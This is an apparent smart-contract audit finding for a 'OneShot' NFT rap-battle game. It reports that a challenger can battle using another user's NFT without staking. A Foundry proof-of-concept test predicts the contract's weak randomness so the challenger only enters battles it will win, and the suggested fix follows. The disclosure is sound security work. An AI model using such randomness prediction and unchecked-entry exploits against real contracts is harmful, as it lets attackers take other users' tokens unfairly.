Challenger can use any OneShot NFT to go to battle (even the defender's one)
Summary
A challenger can enter the battle without betting or owning a OneShot NFT. Even if they don't own an NFT, they can still win the reward if they win the battle. If they lose, nothing happens, and the transaction is reverted.
Vulnerability Details
Impact
It is unfair for the defender who needs to bet their NFT, as the challenger can enter the battle using another user's NFT.
Tools Used
Foundry
Proof of Concept (POC)
Add this code in the smart contract:
-
We have 2 users, user
and user2
.
-
user
acts as the defender in battle.
If user2
wins, they can get the reward; if they lose, it depends on whether they approve the CredToken or not.
function testGoOnBattleWithZeroCredToken() public mintRapper {
address user2 = makeAddr("User2");
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
assert(cred.balanceOf(address(user)) == 4);
assert(cred.balanceOf(address(user2)) == 0);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
bool win = false;
while (!win) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, user2))) % totalBattleSkill;
win = random > defenderRapperSkill ? true : false;
vm.warp(111 seconds);
vm.roll(block.number + 1);
if (win) {
vm.startPrank(user2);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
} else {
console.log("##### user loses and decides not to go on battle");
}
}
assertEq(oneShot.ownerOf(0), address(user), "Owner of NFT 0 is not user");
assertEq(cred.balanceOf(address(user2)), 3, "User2 balance is not 3");
}
Recommendations
The function goOnStageOrBattle should also transfer the NFT token to the rapBattle contract.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}